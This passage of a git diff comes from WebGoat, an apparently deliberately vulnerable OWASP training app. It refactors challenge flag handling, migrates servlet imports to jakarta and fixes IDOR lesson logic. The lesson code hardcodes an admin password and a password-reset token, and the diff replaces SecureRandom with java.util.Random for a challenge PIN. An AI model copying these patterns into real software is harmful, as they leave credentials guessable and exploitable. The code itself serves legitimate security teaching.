-import javax.servlet.http.HttpServletRequest;
 import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
 import org.owasp.webgoat.container.assignments.AssignmentHints;
 import org.owasp.webgoat.container.assignments.AttackResult;
--- a/src/main/java/org/owasp/webgoat/lessons/challenges/Flag.java
+++ b/src/main/java/org/owasp/webgoat/lessons/challenges/Flag.java
@ -1,89 +1,13 @@
-/*
- * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
- *
- * Copyright (c) 2002 - 2019 Bruce Mayhew
- *
- * This program is free software; you can redistribute it and/or modify it under the terms of the
- * GNU General Public License as published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
- * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
- * General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License along with this program; if
- * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
- * 02111-1307, USA.
- *
- * Getting Source ==============
- *
- * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
- */
-
 package org.owasp.webgoat.lessons.challenges;

-import java.util.HashMap;
-import java.util.Map;
-import java.util.UUID;
-import java.util.stream.IntStream;
-import javax.annotation.PostConstruct;
-import lombok.AllArgsConstructor;
-import lombok.Getter;
-import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
-import org.owasp.webgoat.container.assignments.AttackResult;
-import org.owasp.webgoat.container.session.WebSession;
-import org.owasp.webgoat.container.users.UserTracker;
-import org.owasp.webgoat.container.users.UserTrackerRepository;
-import org.springframework.beans.factory.annotation.Autowired;
-import org.springframework.http.MediaType;
-import org.springframework.web.bind.annotation.RequestMapping;
-import org.springframework.web.bind.annotation.RequestMethod;
-import org.springframework.web.bind.annotation.RequestParam;
-import org.springframework.web.bind.annotation.ResponseBody;
-import org.springframework.web.bind.annotation.RestController;
+public record Flag(int number, String answer) {

-/**
- * @author nbaars
- * @since 3/23/17.
- */
-@RestController
-public class Flag extends AssignmentEndpoint {
-
-  public static final Map<Integer, String> FLAGS = new HashMap<>();
-  @Autowired private UserTrackerRepository userTrackerRepository;
-  @Autowired private WebSession webSession;
-
-  @AllArgsConstructor
-  private class FlagPosted {
-    @Getter private boolean lessonCompleted;
+  public boolean isCorrect(String flag) {
+    return answer.equals(flag);
  }

-  @PostConstruct
-  public void initFlags() {
-    IntStream.range(1, 10).forEach(i -> FLAGS.put(i, UUID.randomUUID().toString()));
-  }
-
-  @RequestMapping(
-      path = "/challenge/flag",
-      method = RequestMethod.POST,
-      produces = MediaType.APPLICATION_JSON_VALUE)
-  @ResponseBody
-  public AttackResult postFlag(@RequestParam String flag) {
-    UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
-    String currentChallenge = webSession.getCurrentLesson().getName();
-    int challengeNumber =
-        Integer.valueOf(
-            currentChallenge.substring(currentChallenge.length() - 1, currentChallenge.length()));
-    String expectedFlag = FLAGS.get(challengeNumber);
-    final AttackResult attackResult;
-    if (expectedFlag.equals(flag)) {
-      userTracker.assignmentSolved(webSession.getCurrentLesson(), "Assignment" + challengeNumber);
-      attackResult = success(this).feedback("challenge.flag.correct").build();
-    } else {
-      userTracker.assignmentFailed(webSession.getCurrentLesson());
-      attackResult = failed(this).feedback("challenge.flag.incorrect").build();
-    }
-    userTrackerRepository.save(userTracker);
-    return attackResult;
+  @Override
+  public String toString() {
+    return answer;
  }
 }
--- a/src/main/java/org/owasp/webgoat/lessons/challenges/FlagController.java
+++ b/src/main/java/org/owasp/webgoat/lessons/challenges/FlagController.java
@ -0,0 +1,52 @@
+/*
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
+ *
+ * Copyright (c) 2002 - 2019 Bruce Mayhew
+ *
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
+ *
+ * Getting Source ==============
+ *
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
+ */
+
+package org.owasp.webgoat.lessons.challenges;
+
+import lombok.AllArgsConstructor;
+import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
+import org.owasp.webgoat.container.assignments.AttackResult;
+import org.owasp.webgoat.container.session.WebSession;
+import org.springframework.http.MediaType;
+import org.springframework.web.bind.annotation.PostMapping;
+import org.springframework.web.bind.annotation.RequestParam;
+import org.springframework.web.bind.annotation.ResponseBody;
+import org.springframework.web.bind.annotation.RestController;
+
+@RestController
+@AllArgsConstructor
+public class FlagController extends AssignmentEndpoint {
+
+  private final WebSession webSession;
+  private final Flags flags;
+
+  @PostMapping(path = "/challenge/flag", produces = MediaType.APPLICATION_JSON_VALUE)
+  @ResponseBody
+  public AttackResult postFlag(@RequestParam String flag) {
+    Flag expectedFlag = flags.getFlag(webSession.getCurrentLesson());
+    if (expectedFlag.isCorrect(flag)) {
+      return success(this).feedback("challenge.flag.correct").build();
+    } else {
+      return failed(this).feedback("challenge.flag.incorrect").build();
+    }
+  }
+}
--- a/src/main/java/org/owasp/webgoat/lessons/challenges/Flags.java
+++ b/src/main/java/org/owasp/webgoat/lessons/challenges/Flags.java
@ -0,0 +1,27 @@
+package org.owasp.webgoat.lessons.challenges;
+
+import java.util.HashMap;
+import java.util.Map;
+import java.util.UUID;
+import java.util.stream.IntStream;
+import org.owasp.webgoat.container.lessons.Lesson;
+import org.springframework.context.annotation.Configuration;
+
+@Configuration
+public class Flags {
+  private final Map<Integer, Flag> FLAGS = new HashMap<>();
+
+  public Flags() {
+    IntStream.range(1, 10).forEach(i -> FLAGS.put(i, new Flag(i, UUID.randomUUID().toString())));
+  }
+
+  public Flag getFlag(Lesson forLesson) {
+    String lessonName = forLesson.getName();
+    int challengeNumber = Integer.valueOf(lessonName.substring(lessonName.length() - 1));
+    return FLAGS.get(challengeNumber);
+  }
+
+  public Flag getFlag(int flagNumber) {
+    return FLAGS.get(flagNumber);
+  }
+}
--- a/src/main/java/org/owasp/webgoat/lessons/challenges/SolutionConstants.java
+++ b/src/main/java/org/owasp/webgoat/lessons/challenges/SolutionConstants.java
@ -32,6 +32,4 @@ public interface SolutionConstants {

  // TODO should be random generated when starting the server
  String PASSWORD = "!!webgoat_admin_1234!!";
-  String PASSWORD_TOM = "thisisasecretfortomonly";
-  String ADMIN_PASSWORD_LINK = "375afe1104f4a487a73823c50a9292a2";
 }
--- a/src/main/java/org/owasp/webgoat/lessons/challenges/challenge1/Assignment1.java
+++ b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge1/Assignment1.java
@ -2,11 +2,10 @@ package org.owasp.webgoat.lessons.challenges.challenge1;

 import static org.owasp.webgoat.lessons.challenges.SolutionConstants.PASSWORD;

-import javax.servlet.http.HttpServletRequest;
+import lombok.RequiredArgsConstructor;
 import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
 import org.owasp.webgoat.container.assignments.AttackResult;
-import org.owasp.webgoat.lessons.challenges.Flag;
-import org.springframework.util.StringUtils;
+import org.owasp.webgoat.lessons.challenges.Flags;
 import org.springframework.web.bind.annotation.PostMapping;
 import org.springframework.web.bind.annotation.RequestParam;
 import org.springframework.web.bind.annotation.ResponseBody;
@ -43,12 +42,14 @@ import org.springframework.web.bind.annotation.RestController;
 * @since August 11, 2016
 */
@RestController
+@RequiredArgsConstructor
 public class Assignment1 extends AssignmentEndpoint {

+  private final Flags flags;
+
  @PostMapping("/challenge/1")
  @ResponseBody
-  public AttackResult completed(
-      @RequestParam String username, @RequestParam String password, HttpServletRequest request) {
+  public AttackResult completed(@RequestParam String username, @RequestParam String password) {
    boolean ipAddressKnown = true;
    boolean passwordCorrect =
        "admin".equals(username)
@ -56,14 +57,10 @@ public class Assignment1 extends AssignmentEndpoint {
                .replace("1234", String.format("%04d", ImageServlet.PINCODE))
                .equals(password);
    if (passwordCorrect && ipAddressKnown) {
-      return success(this).feedback("challenge.solved").feedbackArgs(Flag.FLAGS.get(1)).build();
+      return success(this).feedback("challenge.solved").feedbackArgs(flags.getFlag(1)).build();
    } else if (passwordCorrect) {
      return failed(this).feedback("ip.address.unknown").build();
    }
    return failed(this).build();
  }
-
-  public static boolean containsHeader(HttpServletRequest request) {
-    return StringUtils.hasText(request.getHeader("X-Forwarded-For"));
-  }
 }
--- a/src/main/java/org/owasp/webgoat/lessons/challenges/challenge1/ImageServlet.java
+++ b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge1/ImageServlet.java
@ -4,8 +4,7 @@ import static org.springframework.web.bind.annotation.RequestMethod.GET;
 import static org.springframework.web.bind.annotation.RequestMethod.POST;

 import java.io.IOException;
-import java.security.SecureRandom;
-import javax.servlet.http.HttpServlet;
+import java.util.Random;
 import org.springframework.core.io.ClassPathResource;
 import org.springframework.http.MediaType;
 import org.springframework.web.bind.annotation.RequestMapping;
@ -13,10 +12,9 @@ import org.springframework.web.bind.annotation.ResponseBody;
 import org.springframework.web.bind.annotation.RestController;

@RestController
-public class ImageServlet extends HttpServlet {
+public class ImageServlet {

-  private static final long serialVersionUID = 9132775506936676850L;
-  public static final int PINCODE = new SecureRandom().nextInt(10000);
+  public static final int PINCODE = new Random().nextInt(10000);

  @RequestMapping(
      method = {GET, POST},
--- a/src/main/java/org/owasp/webgoat/lessons/challenges/challenge5/Assignment5.java
+++ b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge5/Assignment5.java
@ -24,11 +24,12 @@ package org.owasp.webgoat.lessons.challenges.challenge5;

 import java.sql.PreparedStatement;
 import java.sql.ResultSet;
+import lombok.RequiredArgsConstructor;
 import lombok.extern.slf4j.Slf4j;
 import org.owasp.webgoat.container.LessonDataSource;
 import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
 import org.owasp.webgoat.container.assignments.AttackResult;
-import org.owasp.webgoat.lessons.challenges.Flag;
+import org.owasp.webgoat.lessons.challenges.Flags;
 import org.springframework.util.StringUtils;
 import org.springframework.web.bind.annotation.PostMapping;
 import org.springframework.web.bind.annotation.RequestParam;
@ -37,13 +38,11 @@ import org.springframework.web.bind.annotation.RestController;

@RestController
@Slf4j
+@RequiredArgsConstructor
 public class Assignment5 extends AssignmentEndpoint {

  private final LessonDataSource dataSource;
-
-  public Assignment5(LessonDataSource dataSource) {
-    this.dataSource = dataSource;
-  }
+  private final Flags flags;

  @PostMapping("/challenge/5")
  @ResponseBody
@ -66,7 +65,7 @@ public class Assignment5 extends AssignmentEndpoint {
      ResultSet resultSet = statement.executeQuery();

      if (resultSet.next()) {
-        return success(this).feedback("challenge.solved").feedbackArgs(Flag.FLAGS.get(5)).build();
+        return success(this).feedback("challenge.solved").feedbackArgs(flags.getFlag(5)).build();
      } else {
        return failed(this).feedback("challenge.close").build();
      }
--- a/src/main/java/org/owasp/webgoat/lessons/challenges/challenge7/Assignment7.java
+++ b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge7/Assignment7.java
@ -1,16 +1,14 @@
 package org.owasp.webgoat.lessons.challenges.challenge7;

+import jakarta.servlet.http.HttpServletRequest;
 import java.net.URI;
 import java.net.URISyntaxException;
 import java.time.LocalDateTime;
-import javax.servlet.http.HttpServletRequest;
 import lombok.extern.slf4j.Slf4j;
 import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
 import org.owasp.webgoat.container.assignments.AttackResult;
 import org.owasp.webgoat.lessons.challenges.Email;
-import org.owasp.webgoat.lessons.challenges.Flag;
-import org.owasp.webgoat.lessons.challenges.SolutionConstants;
-import org.springframework.beans.factory.annotation.Autowired;
+import org.owasp.webgoat.lessons.challenges.Flags;
 import org.springframework.beans.factory.annotation.Value;
 import org.springframework.core.io.ClassPathResource;
 import org.springframework.http.HttpStatus;
@ -33,6 +31,8 @@ import org.springframework.web.client.RestTemplate;
@Slf4j
 public class Assignment7 extends AssignmentEndpoint {

+  public static final String ADMIN_PASSWORD_LINK = "375afe1104f4a487a73823c50a9292a2";
+
  private static final String TEMPLATE =
      "Hi, you requested a password reset link, please use this <a target='_blank'"
          + " href='%s:8080/WebGoat/challenge/7/reset-password/%s'>link</a> to reset your"
@ -44,22 +44,26 @@ public class Assignment7 extends AssignmentEndpoint {
          + "Kind regards, \n"
          + "Team WebGoat";

-  @Autowired private RestTemplate restTemplate;
+  private final Flags flags;
+  private final RestTemplate restTemplate;
+  private final String webWolfMailURL;

-  @Value("${webwolf.mail.url}")
-  private String webWolfMailURL;
+  public Assignment7(
+      Flags flags, RestTemplate restTemplate, @Value("${webwolf.mail.url}") String webWolfMailURL) {
+    this.flags = flags;
+    this.restTemplate = restTemplate;
+    this.webWolfMailURL = webWolfMailURL;
+  }

  @GetMapping("/challenge/7/reset-password/{link}")
  public ResponseEntity<String> resetPassword(@PathVariable(value = "link") String link) {
-    if (link.equals(SolutionConstants.ADMIN_PASSWORD_LINK)) {
+    if (link.equals(ADMIN_PASSWORD_LINK)) {
      return ResponseEntity.accepted()
          .body(
              "<h1>Success!!</h1>"
                  + "<img src='/WebGoat/images/hi-five-cat.jpg'>"
                  + "<br/><br/>Here is your flag: "
-                  + "<b>"
-                  + Flag.FLAGS.get(7)
-                  + "</b>");
+                  + flags.getFlag(7));
    }
    return ResponseEntity.status(HttpStatus.I_AM_A_TEAPOT)
        .body("That is not the reset link for admin");
@ -94,6 +98,6 @@ public class Assignment7 extends AssignmentEndpoint {
  @GetMapping(value = "/challenge/7/.git", produces = MediaType.APPLICATION_OCTET_STREAM_VALUE)
  @ResponseBody
  public ClassPathResource git() {
-    return new ClassPathResource("challenge7/git.zip");
+    return new ClassPathResource("lessons/challenges/challenge7/git.zip");
  }
 }
--- a/src/main/java/org/owasp/webgoat/lessons/challenges/challenge8/Assignment8.java
+++ b/src/main/java/org/owasp/webgoat/lessons/challenges/challenge8/Assignment8.java
@ -1,13 +1,14 @@
 package org.owasp.webgoat.lessons.challenges.challenge8;

+import jakarta.servlet.http.HttpServletRequest;
 import java.util.HashMap;
 import java.util.Map;
 import java.util.stream.Collectors;
-import javax.servlet.http.HttpServletRequest;
+import lombok.RequiredArgsConstructor;
 import lombok.extern.slf4j.Slf4j;
 import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
 import org.owasp.webgoat.container.assignments.AttackResult;
-import org.owasp.webgoat.lessons.challenges.Flag;
+import org.owasp.webgoat.lessons.challenges.Flags;
 import org.springframework.http.MediaType;
 import org.springframework.http.ResponseEntity;
 import org.springframework.web.bind.annotation.GetMapping;
@ -15,12 +16,9 @@ import org.springframework.web.bind.annotation.PathVariable;
 import org.springframework.web.bind.annotation.ResponseBody;
 import org.springframework.web.bind.annotation.RestController;

-/**
- * @author nbaars
- * @since 4/8/17.
- */
@RestController
@Slf4j
+@RequiredArgsConstructor
 public class Assignment8 extends AssignmentEndpoint {

  private static final Map<Integer, Integer> votes = new HashMap<>();
@ -33,6 +31,8 @@ public class Assignment8 extends AssignmentEndpoint {
    votes.put(5, 300);
  }

+  private final Flags flags;
+
  @GetMapping(value = "/challenge/8/vote/{stars}", produces = MediaType.APPLICATION_JSON_VALUE)
  @ResponseBody
  public ResponseEntity<?> vote(
@ -47,7 +47,7 @@ public class Assignment8 extends AssignmentEndpoint {
    Integer allVotesForStar = votes.getOrDefault(nrOfStars, 0);
    votes.put(nrOfStars, allVotesForStar + 1);
    return ResponseEntity.ok()
-        .header("X-Flag", "Thanks for voting, your flag is: " + Flag.FLAGS.get(8))
+        .header("X-FlagController", "Thanks for voting, your flag is: " + flags.getFlag(8))
        .build();
  }

--- a/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/Salaries.java
+++ b/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/Salaries.java
@ -22,6 +22,7 @@

 package org.owasp.webgoat.lessons.clientsidefiltering;

+import jakarta.annotation.PostConstruct;
 import java.io.File;
 import java.io.FileInputStream;
 import java.io.FileOutputStream;
@ -31,7 +32,6 @@ import java.util.ArrayList;
 import java.util.HashMap;
 import java.util.List;
 import java.util.Map;
-import javax.annotation.PostConstruct;
 import javax.xml.xpath.XPath;
 import javax.xml.xpath.XPathConstants;
 import javax.xml.xpath.XPathExpressionException;
--- a/src/main/java/org/owasp/webgoat/lessons/cryptography/EncodingAssignment.java
+++ b/src/main/java/org/owasp/webgoat/lessons/cryptography/EncodingAssignment.java
@ -22,9 +22,9 @@

 package org.owasp.webgoat.lessons.cryptography;

+import jakarta.servlet.http.HttpServletRequest;
 import java.util.Base64;
 import java.util.Random;
-import javax.servlet.http.HttpServletRequest;
 import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
 import org.owasp.webgoat.container.assignments.AttackResult;
 import org.springframework.http.MediaType;
--- a/src/main/java/org/owasp/webgoat/lessons/cryptography/HashingAssignment.java
+++ b/src/main/java/org/owasp/webgoat/lessons/cryptography/HashingAssignment.java
@ -22,10 +22,10 @@

 package org.owasp.webgoat.lessons.cryptography;

+import jakarta.servlet.http.HttpServletRequest;
 import java.security.MessageDigest;
 import java.security.NoSuchAlgorithmException;
 import java.util.Random;
-import javax.servlet.http.HttpServletRequest;
 import javax.xml.bind.DatatypeConverter;
 import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
 import org.owasp.webgoat.container.assignments.AssignmentHints;
--- a/src/main/java/org/owasp/webgoat/lessons/cryptography/SigningAssignment.java
+++ b/src/main/java/org/owasp/webgoat/lessons/cryptography/SigningAssignment.java
@ -22,11 +22,11 @@

 package org.owasp.webgoat.lessons.cryptography;

+import jakarta.servlet.http.HttpServletRequest;
 import java.security.InvalidAlgorithmParameterException;
 import java.security.KeyPair;
 import java.security.NoSuchAlgorithmException;
 import java.security.interfaces.RSAPublicKey;
-import javax.servlet.http.HttpServletRequest;
 import javax.xml.bind.DatatypeConverter;
 import lombok.extern.slf4j.Slf4j;
 import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
--- a/src/main/java/org/owasp/webgoat/lessons/csrf/CSRFFeedback.java
+++ b/src/main/java/org/owasp/webgoat/lessons/csrf/CSRFFeedback.java
@ -24,11 +24,11 @@ package org.owasp.webgoat.lessons.csrf;

 import com.fasterxml.jackson.databind.DeserializationFeature;
 import com.fasterxml.jackson.databind.ObjectMapper;
+import jakarta.servlet.http.Cookie;
+import jakarta.servlet.http.HttpServletRequest;
 import java.io.IOException;
 import java.util.Map;
 import java.util.UUID;
-import javax.servlet.http.Cookie;
-import javax.servlet.http.HttpServletRequest;
 import org.apache.commons.lang3.exception.ExceptionUtils;
 import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
 import org.owasp.webgoat.container.assignments.AssignmentHints;
--- a/src/main/java/org/owasp/webgoat/lessons/csrf/CSRFGetFlag.java
+++ b/src/main/java/org/owasp/webgoat/lessons/csrf/CSRFGetFlag.java
@ -22,15 +22,14 @@

 package org.owasp.webgoat.lessons.csrf;

+import jakarta.servlet.http.HttpServletRequest;
 import java.util.HashMap;
 import java.util.Map;
 import java.util.Random;
-import javax.servlet.http.HttpServletRequest;
 import org.owasp.webgoat.container.i18n.PluginMessages;
 import org.owasp.webgoat.container.session.UserSessionData;
 import org.springframework.beans.factory.annotation.Autowired;
-import org.springframework.web.bind.annotation.RequestMapping;
-import org.springframework.web.bind.annotation.RequestMethod;
+import org.springframework.web.bind.annotation.PostMapping;
 import org.springframework.web.bind.annotation.ResponseBody;
 import org.springframework.web.bind.annotation.RestController;

@ -41,10 +40,9 @@ public class CSRFGetFlag {
  @Autowired UserSessionData userSessionData;
  @Autowired private PluginMessages pluginMessages;

-  @RequestMapping(
+  @PostMapping(
      path = "/csrf/basic-get-flag",
-      produces = {"application/json"},
-      method = RequestMethod.POST)
+      produces = {"application/json"})
  @ResponseBody
  public Map<String, Object> invoke(HttpServletRequest req) {

--- a/src/main/java/org/owasp/webgoat/lessons/csrf/CSRFLogin.java
+++ b/src/main/java/org/owasp/webgoat/lessons/csrf/CSRFLogin.java
@ -22,7 +22,7 @@

 package org.owasp.webgoat.lessons.csrf;

-import javax.servlet.http.HttpServletRequest;
+import jakarta.servlet.http.HttpServletRequest;
 import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
 import org.owasp.webgoat.container.assignments.AssignmentHints;
 import org.owasp.webgoat.container.assignments.AttackResult;
--- a/src/main/java/org/owasp/webgoat/lessons/csrf/ForgedReviews.java
+++ b/src/main/java/org/owasp/webgoat/lessons/csrf/ForgedReviews.java
@ -25,6 +25,7 @@ package org.owasp.webgoat.lessons.csrf;
 import static org.springframework.http.MediaType.ALL_VALUE;

 import com.google.common.collect.Lists;
+import jakarta.servlet.http.HttpServletRequest;
 import java.time.LocalDateTime;
 import java.time.format.DateTimeFormatter;
 import java.util.ArrayList;
@ -32,7 +33,6 @@ import java.util.Collection;
 import java.util.HashMap;
 import java.util.List;
 import java.util.Map;
-import javax.servlet.http.HttpServletRequest;
 import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
 import org.owasp.webgoat.container.assignments.AssignmentHints;
 import org.owasp.webgoat.container.assignments.AttackResult;
--- a/src/main/java/org/owasp/webgoat/lessons/hijacksession/HijackSessionAssignment.java
+++ b/src/main/java/org/owasp/webgoat/lessons/hijacksession/HijackSessionAssignment.java
@ -22,8 +22,8 @@

 package org.owasp.webgoat.lessons.hijacksession;

-import javax.servlet.http.Cookie;
-import javax.servlet.http.HttpServletResponse;
+import jakarta.servlet.http.Cookie;
+import jakarta.servlet.http.HttpServletResponse;
 import org.apache.commons.lang3.StringUtils;
 import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
 import org.owasp.webgoat.container.assignments.AssignmentHints;
--- a/src/main/java/org/owasp/webgoat/lessons/httpproxies/HttpBasicsInterceptRequest.java
+++ b/src/main/java/org/owasp/webgoat/lessons/httpproxies/HttpBasicsInterceptRequest.java
@ -22,7 +22,7 @@

 package org.owasp.webgoat.lessons.httpproxies;

-import javax.servlet.http.HttpServletRequest;
+import jakarta.servlet.http.HttpServletRequest;
 import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
 import org.owasp.webgoat.container.assignments.AttackResult;
 import org.springframework.http.HttpMethod;
--- a/src/main/java/org/owasp/webgoat/lessons/idor/IDORDiffAttributes.java
+++ b/src/main/java/org/owasp/webgoat/lessons/idor/IDORDiffAttributes.java
@ -15,7 +15,8 @@
 * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
 * 02111-1307, USA.
 *
- * Getting Source ==============
+ * Getting Source
+ * ==============
 *
 * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
 */
--- a/src/main/java/org/owasp/webgoat/lessons/idor/IDOREditOtherProfiile.java
+++ b/src/main/java/org/owasp/webgoat/lessons/idor/IDOREditOtherProfiile.java
@ -15,7 +15,8 @@
 * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
 * 02111-1307, USA.
 *
- * Getting Source ==============
+ * Getting Source
+ * ==============
 *
 * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
 */
@ -45,7 +46,7 @@ import org.springframework.web.bind.annotation.RestController;
  "idor.hints.otherProfile8",
  "idor.hints.otherProfile9"
 })
-public class IDOREditOtherProfiile extends AssignmentEndpoint {
+public class IDOREditOtherProfile extends AssignmentEndpoint {

  @Autowired private UserSessionData userSessionData;

@ -69,7 +70,7 @@ public class IDOREditOtherProfiile extends AssignmentEndpoint {
      // we will persist in the session object for now in case we want to refer back or use it later
      userSessionData.setValue("idor-updated-other-profile", currentUserProfile);
      if (currentUserProfile.getRole() <= 1
-          && currentUserProfile.getColor().toLowerCase().equals("red")) {
+          && currentUserProfile.getColor().equalsIgnoreCase("red")) {
        return success(this)
            .feedback("idor.edit.profile.success1")
            .output(currentUserProfile.profileToMap().toString())
@ -77,16 +78,16 @@ public class IDOREditOtherProfiile extends AssignmentEndpoint {
      }

      if (currentUserProfile.getRole() > 1
-          && currentUserProfile.getColor().toLowerCase().equals("red")) {
-        return success(this)
+          && currentUserProfile.getColor().equalsIgnoreCase("red")) {
+        return failed(this)
            .feedback("idor.edit.profile.failure1")
            .output(currentUserProfile.profileToMap().toString())
            .build();
      }

      if (currentUserProfile.getRole() <= 1
-          && !currentUserProfile.getColor().toLowerCase().equals("red")) {
-        return success(this)
+          && !currentUserProfile.getColor().equalsIgnoreCase("red")) {
+        return failed(this)
            .feedback("idor.edit.profile.failure2")
            .output(currentUserProfile.profileToMap().toString())
            .build();
@ -97,7 +98,8 @@ public class IDOREditOtherProfiile extends AssignmentEndpoint {
          .feedback("idor.edit.profile.failure3")
          .output(currentUserProfile.profileToMap().toString())
          .build();
-    } else if (userSubmittedProfile.getUserId().equals(authUserId)) {
+    } else if (userSubmittedProfile.getUserId() != null
+        && userSubmittedProfile.getUserId().equals(authUserId)) {
      return failed(this).feedback("idor.edit.profile.failure4").build();
    }

--- a/src/main/java/org/owasp/webgoat/lessons/idor/IDORLogin.java
+++ b/src/main/java/org/owasp/webgoat/lessons/idor/IDORLogin.java
@ -15,7 +15,8 @@
 * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
 * 02111-1307, USA.
 *
- * Getting Source ==============
+ * Getting Source
+ * ==============
 *
 * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
 */
--- a/src/main/java/org/owasp/webgoat/lessons/idor/IDORViewOtherProfile.java
+++ b/src/main/java/org/owasp/webgoat/lessons/idor/IDORViewOtherProfile.java
@ -15,16 +15,15 @@
 * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
 * 02111-1307, USA.
 *
- * Getting Source ==============
+ * Getting Source
+ * ==============
 *
 * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
 */

 package org.owasp.webgoat.lessons.idor;

-import java.util.HashMap;
-import java.util.Map;
-import javax.servlet.http.HttpServletResponse;
+import jakarta.servlet.http.HttpServletResponse;
 import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
 import org.owasp.webgoat.container.assignments.AssignmentHints;
 import org.owasp.webgoat.container.assignments.AttackResult;
@ -56,9 +55,9 @@ public class IDORViewOtherProfile extends AssignmentEndpoint {
      produces = {"application/json"})
  @ResponseBody
  public AttackResult completed(@PathVariable("userId") String userId, HttpServletResponse resp) {
-    Map<String, Object> details = new HashMap<>();

-    if (userSessionData.getValue("idor-authenticated-as").equals("tom")) {
+    Object obj = userSessionData.getValue("idor-authenticated-as");
+    if (obj != null && obj.equals("tom")) {
      // going to use session auth to view this one
      String authUserId = (String) userSessionData.getValue("idor-authenticated-user-id");
      if (userId != null && !userId.equals(authUserId)) {
@ -66,7 +65,8 @@ public class IDORViewOtherProfile extends AssignmentEndpoint {
        UserProfile requestedProfile = new UserProfile(userId);
        // secure code would ensure there was a horizontal access control check prior to dishing up
        // the requested profile
-        if (requestedProfile.getUserId().equals("2342388")) {
+        if (requestedProfile.getUserId() != null
+            && requestedProfile.getUserId().equals("2342388")) {
          return success(this)
              .feedback("idor.view.profile.success")
              .output(requestedProfile.profileToMap().toString())
--- a/src/main/java/org/owasp/webgoat/lessons/idor/IDORViewOwnProfile.java
+++ b/src/main/java/org/owasp/webgoat/lessons/idor/IDORViewOwnProfile.java
@ -15,7 +15,8 @@
 * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
 * 02111-1307, USA.
 *
- * Getting Source ==============
+ * Getting Source
+ * ==============
 *
 * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
 */
--- a/src/main/java/org/owasp/webgoat/lessons/idor/IDORViewOwnProfileAltUrl.java
+++ b/src/main/java/org/owasp/webgoat/lessons/idor/IDORViewOwnProfileAltUrl.java
@ -15,7 +15,8 @@
 * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
 * 02111-1307, USA.
 *
- * Getting Source ==============
+ * Getting Source
+ * ==============
 *
 * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
 */
@ -68,7 +69,7 @@ public class IDORViewOwnProfileAltUrl extends AssignmentEndpoint {
        return failed(this).feedback("idor.view.own.profile.failure2").build();
      }
    } catch (Exception ex) {
-      return failed(this).feedback("an error occurred with your request").build();
+      return failed(this).output("an error occurred with your request").build();
    }
  }
 }
--- a/src/main/java/org/owasp/webgoat/lessons/idor/UserProfile.java
+++ b/src/main/java/org/owasp/webgoat/lessons/idor/UserProfile.java
@ -15,7 +15,8 @@
 * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
 * 02111-1307, USA.
 *
- * Getting Source ==============
+ * Getting Source
+ * ==============
 *
 * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
 */
--- a/src/main/java/org/owasp/webgoat/lessons/jwt/JWTRefreshEndpoint.java
+++ b/src/main/java/org/owasp/webgoat/lessons/jwt/JWTRefreshEndpoint.java
@ -49,10 +49,6 @@ import org.springframework.web.bind.annotation.RequestHeader;
 import org.springframework.web.bind.annotation.ResponseBody;
 import org.springframework.web.bind.annotation.RestController;

-/**
- * @author nbaars
- * @since 4/23/17.
- */
@RestController
@AssignmentHints({
  "jwt-refresh-hint1",
@ -85,9 +81,7 @@ public class JWTRefreshEndpoint extends AssignmentEndpoint {
  }

  private Map<String, Object> createNewTokens(String user) {
-    Map<String, Object> claims = new HashMap<>();
